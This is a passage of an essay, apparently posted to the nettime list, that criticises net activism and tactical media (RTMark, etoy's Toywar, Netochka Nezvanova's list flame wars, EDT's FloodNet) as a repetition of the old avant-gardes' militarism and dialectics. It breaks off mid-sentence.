                "content": "This is a belated reply to Eric Kluitenberg\u2019s\n\u2018Transfiguration of the Avant-Garde/The Negative\nDialectics of the Net,\u2019 posted on nettime two months\nago. Mladen Stilinovic, Croatian artist, once said it\nis good to be lazy, not just in art but in life. I am\nin fundamental agreement with Eric\u2019s position: the\ndisturbance of the apparently seamless surface of the\ndigital media universe by groups like RTMark is indeed\na transfiguration of the dialectic of the old\navant-garde. But rather than seeing this as a sign of\ntheir challenge to the logic of the network society,\nto my mind, it is the mark of their obsolescence.\nActually, this is not much of a reply since it engages\nwith Eric\u2019s post only indirectly by evoking the same\nthree terms \u2013 dialectics, the avant-garde, and the net\n\u2013 though they\u2019re walking down a different road. What\nfollows is the last piece of a longer book, Twilight\nof the Idols. \n\nHello.\n\n\n< 1 >\n\nThe specter of the avant-gardes haunts the\nrevolutionary imagination.  The powers of the left\nonce entered into unholy alliance with the forces of\nthe right to exorcise this specter: the czar of\nBolshevism and the pope of Fascism, the PCF and\nCharles de Gaulle.  Pronounced a simultaneous threat\nand a nothing, a tragic farce of bourgeois\nindividualism and political ineptitude reduced to\nmonumental ineffectiveness, the specter is hastily\nwritten out of the pages of serious history. During\nmore than a century of small triumphs and triumphant\ndefeats, the monopoly over the production of this\nhistory has been protected and defended by the guard\ndogs of Marxism. \n\nWhat\u2019s behind the desire to write a manifesto, one\nthat would trump Marx by mimicking the gestures of a\nbeginning that returns to the same point of departure,\ninvoking one or another specter who haunts the\ncontemporary landscape and who will inherit the truth\nof a still imperceptible becoming? The manifesto is a\nperformance, it summons an apparition that does not\nyet possess clear contours, it calls its object into\nbeing through an invocation, a magic ritual. The\nmanifesto is no mere representation, it is itself the\naction it demands, uniting the \u2018we\u2019 of a new group\nthrough the proclamation of new laws. The church\nmanifestoes of the 1640s denounced those who deviated\nfrom the light, summoning the bearers of the truth of\nGod. The communist manifesto abolished the false god\nof the market in the name of the truth of a new group\nin fusion who would inherit the legacy of state power.\nManifestoes may negate, but only as a means to the\naffirmation of a new truth; they are essentially\npositive, programmatic, constitutional. Sure of\nthemselves, they are always written in a declarative\nmode. We are, we say, we want.\n\nIt is through the laws and proclamations of their\nmanifestoes that the various avant-gardes instituted\nthemselves as micro-nations, states in miniature.\nSurrealism launched itself in 1924 in the form of a\ndictionary definition: \u2018Surrealism, noun. Psychic\nautomatism in its pure state.\u2019 It proclaimed the\npurity and truth of its uncorrupted desire and\ndeclared openly that it proposed to institute itself\nas a totality over the fallen world and \u2018solve all the\nprincipal problems of life.\u2019  Surrealism and the SI\nwere only the most rabid forms of the avant-garde\u2019s\nidentification with ideological discourse, which is\nsimultaneously the logic of territoriality \u2013 it lists\nnegations and abolitions, affirms goals in advance,\ndemarcates borders that separate the outside from the\ninside, and denounces enemies and ideas that exceed\nthe limits of its own system. The will to\nexcommunication and the juridical tone of these\nmovements was not a deviation, some last tragic gasp\nof the avant-gardes in decline, it was present in the\nact of their founding. \n\n < avant.NET >\n\nThe life of the avant-gardes has become a virtual\ngeography. Manifestoes invoking the arrival of new\nforms of immaterial, liquiescent subversion assume\nthat after the stagnation of the conservative\neighties, the previous movements of the left,\nincluding the radical avant-gardes, have\nde-materialized from the streets to the \u2018rhizomatic\u2019\nuniverse of the net. Critical Art Ensemble announce\nthe disappearance of visible power: the power which\nwas once incarnated in the body of the king or in the\narchitecture of castles and parliament houses has\nvanished under the simultaneous compression of space\nand time. Becoming liquid, power seeps through\ncyberspace, an elusive entity that nomadically wanders\nthe globe, a body without borders that changes shape\nas it moves. In vain would the war machines of\nsubversion run after it on the streets. Vacated of the\nsymbols and materiality of power, the streets are dead\nand not worth fighting for and defending \u2013 it is the\ncontrol of information that has become the terrain of\nbattle, and the name of resistance whispered in every\nenthusiastic ear is infowar, the appropriation of \n\u2018data and/or means of communication.\u2019  The net, in all\nits beauty and terror fulfills the promise of the\nradical impulses of earlier generations. The\nrevolutionary vision lives, transfigured.  As Eric\nKluitenberg has said, \u2018The strategies, the conceptual\ntools, the tactics of intervention in the new digital\nhypersphere are highly familiar. They draw on the\nlegacy and experience of the avant-garde movements.\u2019\nThe affirmation of the origins of tactical media\n<communication guerilla // infowar // hacktivism //  .\n. .> in the gestures of the old avant-gardes is\ninvoked by artists and digerati alike; the arsenal of\nthe future is constructed out of the ruins of the\npast: Duchamp, Berlin Dada, Breton, the irreproachable\nSituationists.  According to the new mythology, is\nonly the geography of the gestures \u2013 their location in\nphysical space \u2013 that has become obsolete. But which\ngestures, which avant-garde?\n\n< cyber terrorism >\n\nCAE has implied that cyber terrorism is impossible:\n\u2018How can terror happen in virtual space, that is in a\nspace with no people \u2013 only information?\u2019 But people\nare not only their material bodies, but their\nrelations, their accumulation of knowledge and skills,\nthe information others have accumulated about them \u2013\nand a manipulation of information can be experienced\nas a concrete threat. Some have called Netochka\nNezvanova, the online entity who has \u2018destroyed\u2019\nseveral mailing lists by unleashing a wave of panic\nover \u2018spams\u2019 against their citizens, the \u2018great terror\nof the net.\u2019 Just on a formal level, the resemblance\nbetween this particular form of \u2018spamming\u2019 and\nterrorism may not be so far off the mark. For the\nSocial Revolutionary terrorists in Russia during the\n1880s an assassination meant the direct removal of the\ncause of repression; after the 1890s, terrorism became\nindirect. The \u2018propaganda of the deed\u2019 of fin de\nsiecle terrorism in France attacked an oppressive\npower by random violence against those ruled, against\n\u2018citizens\u2019 who were guilty for applauding the current\norder.  An initial panic ensues; State functionaries,\nunder the pretext of protecting citizens impose\nincreasingly rigid and intolerant rules which actually\nrestrict their freedoms. The ultimate aim of the\nsecond phase of terrorism is to reveal the State as\nthe real terrorist, in the hope that citizens will\neventually shift the blame to those who rule.  \n\nHistorically this reversal has almost never worked.\nExcept maybe on the Syndicate list. The 10-20 average\ndaily mails that NN sent to the mailboxes of the\nnetizens were frequently in the form of attacks\nagainst the oppressors who were administrating the\nlist or against the others who commanded some form of\npower and respect as the leaders of net activism. Pit\nShultz, Geert Lovink, Tilman Baumgaertel were called\n\u2018inkompetent pop.tart male imbeciles \u2026 whose m9nd\naktivity resembles that of a housefly - only\nunderstand the trivial hence the state of things . . .\n following refuse - i.e. each other.\u2019  Andreas\nBroeckmann: one of the \u2018neu media kr!!ket dictators,\u2019\n\u2018dezt!tut korporat.fasc!zt bagatela\u2019 who makes \u2018a\ntotal !mbez!l ov h!mzelv + h!z teror!zt anzeztrz.\u2019\nMark Tribe and Alex Galloway of Rhizome: \u2018laughable +\ndestitute\u2019 Thing.net: bunch of \u2018inkompetent\nmarionetten \u2026 invalids + posers.\u2019 Syndicate: an\n\u2018ART>MAFIA \u2026 DUMB + DEAD.\u2019 In the Syndicate debacle\nthat followed, NN succeeded in derailing the\ndiscussions and forcing the citizens of the list to\ntake sides \u2013 either for NN, thus supposedly on the\nside of freedom of speech and \u2018democracy,\u2019 or against\nher, in other words, siding with the totalitarian,\nfascist, dictator administrators of the list. For a\nmoment the tactic succeeded in inverting the blame.\nAfter the administrators kicked NN of the list in\nsecrecy, a wave of protests and accusations of fascism\nand totalitarianism followed, NN was re-s*bscribed and\nthe admins quit the list taking a lot of the long term\nmembers with them in a wave of mass-uns*bscription.\nOstensibly power vacated its seat, and the list was\nre-occupied in another name \u2013 in the name of freedom,\nas the story might be written in the pages of history.\n\nAlexei Shulgin once said of NN, there\u2019s nothing new\nhere, we\u2019ve seen it all before. Legacy of the\navant-garde? \u2018da.da da + da.\u2019 Excommunication and\nterrorism were the twin faces of the avant-garde,\nexcommunication as the form the internal relations\namong the group eventually took, and terrorism against\nbourgeois institutions as their tactic of external\nrelation to their social context. The prudence of\nhistory would criticize the reprehensible\nexcommunications but celebrate the hijacks and pranks\nagainst the establishment as strokes of brilliance.\nBravo, epater le bourgeoisie, slap in the face of\npublic taste. But both are driven by the same impulse,\nby a dogmatism convinced of the truth of its own\ntheory and vision, and an intolerant dismissal of\neveryone else. The Surrealists hijacked a bourgeois\ndinner party with the same sleigh of hand as Breton\nlater expelled Artaud, Bataille, Vitrac, Souppault and\nmany others from the group \u2018by reason of their\noccupation and character.\u2019 The Lettrists hijacked a\npress conference given by Charlie Chaplin  <\u2018you've\nidentified yourself with the weak and the oppressed .\n. .  but in the shadow of your rattan cane some could\nalready see the nightstick of a cop . . . Go to sleep,\nyou fascist insect . . . We pray that your latest film\nwill truly be your last\u2019> with the same ardor as the\nSituationists later expelled whole nations from their\nInternational.  NN is the anti-climax of the\navant-garde\u2019s hysterical nightmare of persecution:\neveryone is guilty save herself, all the names of\nnet.history who pretend to be revolutionaries are in\nfact reactionary cops and corporate fascists, all\nabuse her, steal from her, terrorize her, ban her from\nlists, deny the expression of her freedom. She is the\nonly one in possession of truth and virtue in this war\nof words, which is above all a war of righteousness:\n\nDavid Zicarelli - cycling@sirius.com  typed\n\n>>We have removed the user \u2018netochka nezvanova\u2019\n\n>Truth  -  The `estimable` + `fashionable` [permit\nsomeone to roll the eye \n>komponents + faint theatrically] David Zicarelli has\nremoved and blocked++\n>Netochka Nezvanova from the MAX forum because she has\nposted\n>a brief excerpt from an internal Cycling74\ncommunication which \n>David Zicarelli transmitted to all Cycling74\nemployees.\n\n>>\u2018she\u2019 intiated what could best be described as a\nterror campaign \n\n>Absolute nonsense. Tell the truth. \n\n>>that included spam to anyone who posted to the Max\nlist, denial of service attacks,\n\n>Absolute nonsense. Tell the truth. \n\n>>and threatening and slanderous e-mail sent to random\nindividuals at McGill. \n\n>Absolute nonsense. Tell the truth. \n\n>>I didn't see any point to subjecting myself and my\nco-workers to this type of harrassment. \n\n>Tell the truth liar. trrruth.\n\nThis first NN flame war on the list for MAX users <a\ngraphic programming environment for audio and video\nmanipulation from multiple sources; NN\u2019s own software\nNato 0+55 extended the capabilities of MAX> began\nafter NN initiated a lawsuit against the MAX\ndevelopers, Cycling \u201974. After being thrown off the\nMAX list, NN retaliated against the list admin by\ncreating a site in his tribute: \u2018There were Web pages\nall over the place with swastikas and my name on it.\u2019\nThis first list war revealed the personal motives\nbehind the attacks. Katharine Mieszkowski recently\nspeculated that power and money were behind the\nseemingly idle net.pranks; when criticized in the\npast, NN has revoked her clients\u2019 software licence\n(which was already paid for), a veritable monopoly,\nshe can afford to control the game and freedom of\nexpression does not cut both ways. \n\nNN\u2019s brand of \u2018terror\u2019 is just excommunication in\nreverse, and the people who rushed to her defense on\nthe Syndicate were defending what they accused the\nlist administrators of: a self-certain righteousness\nthat is capable only of crushing dissent. And vice\nversa, by kicking her off the list, the admins were\nstooping to the tactics they claimed she used and they\ndeplored, especially since the expulsion was decided\noff the list rather than publicly by consensus. The\nexcuses given later were desperate at best, shamefully\npaternalist at worst: \u2018nn promised to Syndicate admin\nto behave herself. it went fine in the first weeks /\nmonths. unfortunately, she lost control of herself\nagain.\u2019 It seems, on the contrary, that NN was very\nmuch in control of herself and the situation, and in\nthe panic that ensued on the list netizens and rulers\nalike played into her hands. For or against, the\nchoice itself was a choice in choicelessness, and\nthings could have played out differently. Many of NN\u2019s\nearlier posts, those that were not so abusive and\nself-serving, were provocative and amusing. It\u2019s a\npity that they were so overshadowed by the empty\naccusations and cheap insults which became so\nrepetitive, adolescent, and full of ressentiment \u2013 but\nthis was a decision to be made by individual members.\nThe flood of emails were not such a \u2018great terror\u2019;\nthe insults were extremely superficial and lacking in\nsubstantive analysis <fascist or nazi is the easiest\nform of character attack; saying nothing, it relies\npurely on hyper-emotional reaction> and it is an\nexaggeration to say they could have wounded anyone\u2019s\nreputation. From a certain perspective, NN was by far\nthe best performance on a list that had and become a\nstring of announcements with little discussion. August\n2001, when all the kitsch about democracy and\ntotalitarianism hit the fan, was the list\u2019s most\nlively and interesting month, as much for what was\nsaid as for what remained unspoken. \n\n>From a certain other perspective, this could be seen\nas just the business of art as usual. Older\navant-gardes and classical terrorist cells alike were\ndriven by a supreme cause, by the vision of an\nabsolute theory \u2013 which was the source of their\nheroism and of their tragedy. In the contemporary\ntheater, no cause is important enough to die or kill\nfor, nothing is \u2018transcendent,\u2019 and immanence has\nbecome the order of a night in which all cows appear\nblack. The absence of a cause and the adoption of a\nnameless identity could be a promise of liberation or\nthe shadow of a catastrophe. Nameless Nobody,\nself-proclaimed body without border, wandering\npurposelessly from one mailing list to another, black\nlisting all the names of power in the not so general\neconomy of the net. Ultimately the cause behind all\nthe covert tactics and agitations is sui generis, NN\nis its own cause, terrorizing lists through seemingly\nrandom flames and character assassinations as a form\nof self-advertisement. The third time, history repeats\nitself as innocuous farce, without substance.\nTerrorism in abstract form, void of content,\naestheticized and mute. The image without image  <or\nthe nameless name> manufactures a myth that can be\nfilled by anything, as rumors escalate and speculation\nfeeds on itself. One person with multiple identities?\nA female New Zealander artist? A male Icelander\nmusician? An Eastern European collective conspiracy?\nFor some, the advertisement is seductive, promising\nsomething-I-know-not-what, the secret of the commodity\nthat can be apprehended only as a fetish. Darling of\nthe net who everyone loves, or loves to hate. Either\nway, all propaganda is propaganda. \u2018Mysterious.\nInapprehensible. Elusive.\u2019 \u2018Brilliant deconstruction,\nA1 quality. Intelligent, cool\u2019 \u2018Geographical\ndeconstruction. Gender deconstruction. Identity\ncorruption.\u2019\n\n\u2018NN's reputation is based on mouth 2 mouth\nadverti.cement. When something is very well\nkonstruckted and designed with a degree of integrity\nit stands on its own ... All the cool girls wear NN.\u2019\nEverything is made and unmade in the mirror image of\nconsumption. You are either with us or you are uncool.\nThe ultimate terror is that of being out of fashion\nwith the times + + symbolically dead. \n\n< detournement? >\n\nDetourne: a verb used, among other things, to describe\nthe hijacking of a plane. The SI may have come up with\nthe name detournement, but the practice was first\nstumbled upon by the previous era of the avant-gardes.\nIn 1919 Johannes Baader, Berlin Oberdada, interrupted\na meeting of the Weimar National Assembly and threw\nfliers from the balcony onto the heads of the\nstatesmen below announcing his candidacy for the\npresidency of the world.  The press reported that the\ncountry\u2019s leading politicians had been publicly\ninsulted.  Probably they had been insulted before on\nmany occasions, but this one was not in the form of\nideological discourse they were familiar with. No\nassertions or rebuttals. Was it political speech? Was\nit theater? It was an answer to politics but not from\nthe \u2018inside\u2019 by using the same language or adopting\nthe same presuppositions. It was not dialectical \u2013\ndialectics negates only what is irrational,\ninconsistent, or dogmatic in the system, ultimately to\nperfect and strengthen it. <Marx may have criticized\nthe irrationality of capitalism - the theft of\nsurplus, the spawning of alienation, the degradation\nand misery of those who were deprived of the fruits of\ntheir labor \u2013 but preserved the values and\npresuppositions of its \u2018rational\u2019 kernel \u2013 the\nvalorization of production, the goal of continuously\nexpanding productive forces, the instrumental use of\ntechnology. By preserving the forms but altering the\ncontent (putting it in the hands of the proletariat)\nthe whole system can be transformed from the inside,\nmade more rational, more democratic, more productive;\neventually the form itself would change and repressive\ninstitutions would wither away.  By the 1960s and\n1970s it first dawned on the ex-Marxist left\n<Castoriadis, later Baudrillard and Deleuze> that\ndialectics never gets \u2018outside\u2019 what it criticizes \u2013\nits negation is already prefigured by the logic of the\nsystem itself. Actually Bakunin had made this same\ncriticism a century before, after being thrown out of\nthe First International by Marx and Engels.> Baader\u2019s\ndetourned negation made no overt criticism, and put\nforward no demand for the transformation of the\ncontent of the Assembly\u2019s program \u2013 his demand for\nworld presidency was a prank, making a joke out of\npolitics rather than engaging in it on its own terms. \nHe did not seek to take over the National Assembly in\nthe name of a new movement. The politicians and press\nwho answered the gesture did not know what to make of\nit. It was not the kind of kind of thing they were\nused to, its power to disrupt was precisely that it\nwas unexpected. Detournement, in updated jargon, has\nbecome communication guerilla, cultural jamming,\naesthetic sabotage, infowar - but are the gestures so\nunexpected almost a century later?\n\nThe most interesting thing about RTMark is the\nillusion of the real \u2013 for a moment some unsuspecting\nvisitors who entered their fake WTO or Bush or other\nsites and read the inverted messages of their pages\ndid not know what to make of it since they believed\nthem to be genuine sites. For these sites RTMark\nsimply copied the layout, graphics and images from the\noriginals, and altered the content. The fake WTO site\n<www.gatt.org, named after the General Agreement on\nTariffs and Trade> doesn\u2019t celebrate global free trade\nbut criticizes the WTO\u2019s lack of socio-environmental\nresponsibility, replacing WTO documents with\ncounter-documents of groups protesting globalization.\nAnd maybe it should be stressed that it is an\n*unsuspecting few* visitors who are fooled. The sites\ngot millions of hits after the story broke in the\nmainstream press, and those rushing to check them out\nalready knew they were \u2018fake\u2019 sites. Surprisingly,\nsome bewildered few still stumble upon them and\ncontinue to be fooled. The fact that RTMark has gotten\ninvited to speak as real representatives of the WTO\n\u2018by mistake\u2019 and that their hilarious performances as\nimpostors of the real went unquestioned by the\naudience members is perhaps only a testimony to the\nincredible stupidity of the liquiescence of power. \n\nThe then presidential-hopeful GWBush protested against\nthe fake RTMark site <which accused him of hypocrisy\nand drug use> by denouncing it as a form of routine\nnegative campaigning. In a sense, it could be said\nthat the politicians and the press did not know what\nto make of it because it was an unexpected thing and\nthey didn\u2019t recognize its language or its aims. But to\ngive some credit to Bush\u2019s gullibility, RTMark\u2019s form\nof tactical media uses the same language and the same\nstrategy as political ads. The gullible are confused\nbecause the similarity is too close.  And maybe it is\nthe similar *form* of this strategy and the desire to\nbe mistaken for the real thing which should be\nquestioned. RTMark videos and websites, which dwell by\nchoice in the language of corporate advertising,\nattempting to use the height of banality against\nitself, seem stuck by necessity in the mire of this\nsame banality. RTMark productions are an occupation of\nthe form <of media and capitalism in simultaneity, as\ncorporate advertising> with an inversion of its\ncontent. When Daniel Cohn-Bendit once proposed making\na leftist western by just changing the soundtrack,\nDebord answered that the homogenous, unbroken form of\nthe western would preserve the ideology behind it,\noffering a complacent, facile consumption.  Preserving\nthe form and just changing the content was\ninsufficient, especially a change of content in the\nform of a reversal.  \u2018Detournement by simple reversal\nis always the most direct and the least effective. The\nBlack Mass . . . merely reverses \u2013 and thus\nsimultaneously conserves \u2013 the value of that\nmetaphysics.\u2019 Satanism may be heretical, but it\u2019s\nstill a religion, the whole field of ritual and\nsubordination before a superior power is preserved in\nit. \n\nBaader may not have aspired to become a real\npolitician, but Breton did when founded a \u2018Bureau\u2019 of\nsurrealist research and modeled the organization of\nthe group on the French Communist Party.  The\nSituationists held real congresses and aspired to\nbecome an International <modeled after the first one>\nwith altered demands. As a practice detournement\nreflected a contradiction at the level of theory\nbetween the recognition that fighting on the same\nterrain and wanting to be taken for the real thing is\na seductive but inevitable trap, and the desire\n<expressed in the hijacking metaphor> to occupy the\nold buildings of power under a new name, with new\ndemands. Detournement was a momentary line of flight\nout of dialectics, and also a reterritorialization on\nfamiliar ground.\n\nAlex Burns from Disinformation remarked that RTMark\nuses \u2018dialectical reasoning\u2019 \u2013 they prefer \u2018to subvert\nthe system from within\u2019 in contrast to other acts of\nresistance which want to \u2018dismantle the corporate\nsystem altogether.\u2019  This is not a criticism by Burns,\nwho celebrates RTMark\u2019s dialectical ingenuity; the\nonly danger he foresees is the external one of being\nrecuperated by corporations <who can \u2018steal\u2019 their\ntactics>, rather than a problem with the choice of\ndialectical method itself. As a dialectical gesture,\nRTMark is an inversion of corporatism from within, an\nidentification with the corporate image in order to\nreveal and oppose its abuses. In legal terms, RTMark\nis a real corporation, selling mutual funds, even if\nthey are mutual funds for corporate sabotage. The\ndetourned content is amusing, and the issue they raise\nis significant: corporations have aggregated powers\nunder the law of limited liability that are\ntechnically illegal for persons: corporations have\nonly rights, but no responsibility.  But RTMark\nproudly admit to using the same legal form of limited\nliability as a protection against the potential risk\nof prosecution for their sabotage activities \u2013 they\ndepend on what they denounce as an abuse when used by\n\u2018real\u2019 corporations. Using the same graphics and\nlanguage of the Internet brokerage sites of the late\n1990s, RTMark mirrors the Internet stock corporation.\nUsing the same tactics of exaggeration and spin as\nmass media, RTMark mirrors the banality of media\nscandals.  Mark Amerika has noted that especially in\nthe Toywar campaign RTMark\u2019s press releases were\n\u2018skewed in a way that essentially mimics the way\ncorporate press releases are skewed, complete with\nsound-bite blurbs, website addresses for further\ninformation, and self-reflexive advertisements for\nRTMARK art products (projects).\u2019 Taking the logic of\ncorporate advertising to its limit, RTMark is not\nabove skewing information to enhance its own image.\nSome of the projects which they claim under their own\nsponsorship and direction are Toywar <which was a very\nlarge collective effort>, FloodNet <which was\ndeveloped by EDT, who never got any money for project\ndevelopment from RTMark> and the idea of pr\u00eat a\nrevolter <colorful clothing that is ready to revolt,\nmade of resistant parts of water bottles, complete\nwith micro-cameras hidden in fake breasts \u2013 created\nfor anti-globalization protests in Barcelona last\nsummer by several different designers, though the\nproject itself was initiated by the Spanish group Las\nAgencias>. RTMark may include real individuals, but is\njust an abstraction, a shell, the mirror image of a\nboss appropriating the work done by many workers in\nthe struggles against corporatism. \n\nRTMark is a corporation in reverse, a corporation with\nan alternative message that mimics the same mode of\noperation as their opposition. As with any\ncorporation, the aim is the maximization of profit,\nand profit is always counted in numbers.  RTMark\ndefine their most successful projects as those that\n\u2018got the most press\u2019 and in the battle for press\ncoverage \u2018Quality is less important than quantity, I\nguess you could say, we spend a lot less time fretting\nabout the gemlike qualities of projects than about\ntheir effectiveness. Just let them keep coming, and\nfaster and faster!\u2019 The quantity of articles and\nmentions in the press housed in the archive of\nsymbolic capital on RTMark website is indeed\nimpressive.  Over 650 press items, including NY Times,\nTime Magazine, Wall Street Journal, CNN, Village\nVoice, Wired, Playboy, Fringeware, Suck, Slashdot,\nTelepolis, ArtNetWeb, ArtByte; hundreds of mentions in\nforeign press: Spain, France, Britain, Germany, Italy,\nSlovenia, Croatia, Hungary, Czech Republic, Poland,\nNetherlands, Finland, Norway, Sweden, China, Japan,\nSouth Africa. In this battle over the control of the\nmedia by its own means of manipulation to promote the\nRTMark corporate image as a veritable monopoly of\nsubversion, the most important victory is the\naccumulation of images.\n\n< infowar >\n\nThe legal battle at the end of 1999 between the\nbillion dollar toy dot.com eToys and the European art\ngroup etoy was one of the important events in the\nhistory of the Internet, since it was precisely the\npossible use, legality, and future direction of the\nnet that were at stake. The facts of the case were\nthat etoy had existed and had its domain name first;\nthe demand by eToys that etoy change its domain on the\ngrounds that the similarity of the names was confusing\neToys\u2019 customers and hurting its business was spurious\nand the legal injunction it obtained against etoy was\nbordering on illegality \u2013 this all served as a\nrealtime demonstration that money determines the\nrights to operate in cyberspace and is behind the\nso-called impartiality of the justice system.  But the\nmyth of this epic battle suffered from its own\nexaggerations. RTMark credited the campaign which they\ndirected with crippling the eToy servers and with the\neventual \u201870% decline in the value of eToys stock.\u2019\nThe numbers on the Toywar site are even more\nimpressive as are attributions of the causes and\neffects: \u2018result: within 2 months the eToys Inc. stock\n(NASDAQ: ETYS) dropped from $67 (the day the battle\nstarted) to $15 (the day eToys Inc. finally dropped\nthe case). TOYWAR was the most expensive performance\nin art history: $4.5 billion dollars.\u2019 Reinhold\nGrether, one of the key players in the campaign,\nportrayed the war as \u2018a conflict between two\nlifestyles, one consumerist, giving absolute priority\nto acquisition, in this case, a domain, and the other\nartistic, declaring the exhibition of complex social\npractices, rather than art objects, as the object of\nart.\u2019 But was the war between eToys and etoy a\nconflict between consumerism and the purity of\nanti-corporate art as the social construction of an\nalternative style of life, or was it a conflict\nbetween different market segments of  consumerism?\nAfter all, as etoy has insisted over and again \u2018We are\nnot anti-corporate. That's something people don't\nunderstand. We are an overdrive corporation with\nsurreal goals. We sell nothing except ourselves. We\ndon't promise any revenue, except excitement and maybe\na little bit of confusion.\u2019\n\nEtoy sells itself, it barters its image. As Geri\nWittig remarked to etoy in an interview, \u2018Your look\nand your stance exudes a very stylish, militaristic\nquick response tactic.\u2019 This stylish militarism also\ndepends on wearing the same uniform, looking alike,\nand giving the impression of the interchangeability of\ntoy soldiers (or members of a gang).  As Etoy\nconfessed, \u2018it makes it impossible for women to enter\nthe group, or for black people to enter the group,\nbecause it would destroy the concept\u2019 of its\nuniformity. The Toywar campaign helped to boost sales\nnot only of etoy.shares, but of the image of\nsubversion which was on demand by an increasingly\nlarge consumer public: \u2018we give about five interviews\na day in America at the moment.\u2019 After the victory,\nthe toywar.shop became more specialized, selling not\nonly standard etoy.shares, but offering the consumer\nthe option to \u2018customize your purchase\u2019 by adding\n\u2018T-SHIRTS and CD'S to your basket.\u2019 CDs were a bargain\nat $20.  \u2018please check the amount of articles as well\nas the total amount in USD before the final\nsubmission.\u2019\n \nThe many support sites that sprang up during Toywar\ncapitalized on an incredibly puerile image of warfare,\nan image capable of seducing only adolescent boys,\neven if its target audience proved to be older. The\nToywar UK site under the direction of \u2018Captain\nSmithers\u2019 launched its own internet offensive against\neToys as a sign of support. The site featured e*bombs\nin the forms of alternative news service and mailing\nlists. \u2018The e*bomb blast radius was global and it\nrendered eToys.com powerless. VIVA la e*bomb!\nThousands of friendly fire e*bombs detonated, and no\none hurt! Pure 21st century FIRE POWER!\u2019 In this\npostmodern fantasy of revolution the jargon of\nrighteous war has become more timid and cautious,\neliminating the risk of action through a detour of\nrhetoric, bowing, in the end, to political\ncorrectness. \n\nThe image of war is sexy not just in the popular\nimaginary of television, but among the more refined\ntastes of the militant left and the radical art crowd.\nThe indiscriminate forms of its rhetoric and gestures\nare legion, though the mask as a symbol of the\nterrorist or the guerilla stands out as one of the new\ntrends of identification, from the multitude who\ngather in the street borrowing the checkered mask of a\nPalestinian holy war, to RTMark, who don the pantyhose\nof the bank robber in their videos, and Ricardo\nDominguez who performs the story of electronic civil\ndisobedience in an EZLN mask, as a gesture of\nidentification with the cause of the Zapatistas. The\ncontext of the performances are to evoke the\nZapatistas\u2019 Mayan technology which differentiates\ntheir tactics (offering a rose or a poem or an\nunanswerable gesture as an answer to military power)\nfrom those of guerilla struggle of the twentieth\ncentury. The Zapatistas say they use masks so that\npeople won\u2019t be beguiled by their beauty but pay\nattention to the power of their words.  But in this\nEDT performance, it is the power of the words that\nspeak of the different form of struggle of the\nZapatistas that is obscured as the audience identifies\nwith the image of the mask. The mask is the identity,\nthe words are secondary, and the identity of the mask\nis prefigured in advance by the associations it has in\nthe contemporary stage of the media. \n\nThe media spectacle needs a boogey of opposition to\nthe righteous war of democracy and the right to\nconsume, and after the collapse of the big other of\n\u2018Eastern Europe,\u2019 the image of a man dressed in black\nwearing a mask has now become the mass medias perfect\nfantasy, the face against which it can define its own\nvalues. Whatever may be behind the mask of the\nmilitant, the media will capitalize upon it in reverse\nfor the sake of the ideology it serves. Making a\nfetish of the image of the terrorist or guerilla has\nbecome both pious and stupid, even in the\naestheticized form of the avant-gardes, as the\ntheatricalization of some nameless revolution. The\nidentification with the logic of warfare was always\nthe worst militant aspect of the avant-gardes.  If,\nthe avant-gardes were a momentary instantiation of a\ngreat promise, speaking in a different language\noutside the banality of organized politics, they were\nsimultaneously the ridiculous quarrels over names and\nconcepts, vicious arguments about ideological\ncorrectness, exclusions of deviations, puerile antics,\nand the inflated machismo of warfare. The desire to\nproclaim the avant-garde an unfinished project \u2013\nsomething triumphant that still lives and inevitably\nreturns to fulfill a secret history \u2013 preserves all\nthese characteristics. Above all, it preserves the\nmilitarism inherent in the metaphor of the\n\u2018avant-garde\u2019 \u2013 the avant-garde as an elite group,\norganized by strict military discipline, going out\nfirst and paving the way for the attack, perhaps\nsacrificing itself in the end so the army can finally\nadvance the cause of its righteous war.  If this\nmetaphor started out as a blank parody, it became real\nwith the march of history. The avant-gardes, for all\ntheir dress rehearsals and posturings became, in their\nrelations to each other and to the opponent they\nclaimed to despise, nothing more than the magical face\nof the double, its inverted mirror. Drawing upon their\nstrategies, conceptual tools, and tactics of\nintervention summons not the specter haunting a new\nepoch, but a corpse in absolute decomposition.  \n\nSomeone once said a long time ago \u2018The most urgent\nexpression of freedom is the destruction of idols,\nespecially when they claim to speak in the name of\nfreedom.\u2019 It is true that the destruction of idols\nitself can speak in the name of a freedom that is just\nas illusory, including the destructions of the\npresent. But the wisdom of silence is the most\ndifficult thing to attain, since it does not reveal\nitself in the image of consumption.\n\n < opposition >\n\nElectronic civil disobedience is neither terrorism nor\nacts of cultural jamming, detournement, or media\npranks. CAE define the manipulation of the media in\nthe service of an alternative message as a losing\nbattle; any subversive message is lost in the flood of\ninformation or is itself detourned through spin. If\nthere is such a thing as infowar, maybe it should be\nunderstood as the war against information rather than\na war of counter-information. Denying the power of\npropaganda, CAE praise the effectiveness of a direct\nbattle with power.  Simple trespass and blockage of\ndata and their conduits can force the state or the\nmilitary or corporations to make policy changes\nbecause it may prove cheaper for them than the threat\nof the loss of profits from information. As people\njoined together to physically blockade the entrances\nto the opponent\u2019s house of power in earlier forms of\ncivil disobedience, participants in electronic civil\ndisobedience can join a virtual sit-in from anywhere\nthere is access to the internet in order to block\naccess to the opponent\u2019s website. If the promise of\nECD remained a theory until 1998 for CAE, the faction\nof the group which took the name Electronic\nDisturbance Theater actualized it in the form of\nFloodNet, a software which sends reload commands to\nthe targeted site\u2019s server every few seconds. When\nenough participants are simultaneously pointing the\nFloodNet URL toward an opponent\u2019s site <Mexican\ngovernment, Pentagon, Frankfurt Stock Exchange, eToys,\nEMF> a critical mass of users can prevent access to\nthe site because there are too many requests to be\naccommodated \u2013 in theory, at least, since these kinds\nof sites can sustain millions of hits without a\nproblem. \n\nBut is the direct intervention of ECD about bringing\npower to the bargaining table and getting concessions\nin the form of policy change? If the aim were simple\ntrespass and blockage, a single hack would be more\nefficient in bringing down a server and blocking\ninformation. The point of the virtual sit-ins is to\nget across how widespread the protest is rather than\nthe denial of access to data or their conduits. The\naim seems to be not trespass and blockage but gaining\na critical mass. A policy negotiation is a closed\nform, an exchange of threats between a vanguard of\nactivists and the functionaries of power; the form and\neffect of a virtual sit-in is something very different\n\u2013 a kind of contagion, a movement of outward\nexpansion, the feeling of participating in something,\neven though its contours may be vague. And this vague\nfeeling of participating in something that escapes the\ndialectic of global capital is often hijacked by being\nturned into the declaration of a war of opposition.\n\nWhen the \u2018multitude\u2019 come together in a virtual-sit-in\n<in opposition to one or another particular website>\nor on the street in a show of power against the forces\nof capitalism, they don\u2019t escape its dialectic. The\nform assumed by the association and linkage of\nindividuals is based and mediated by the cause it is\nopposing, rather than on the 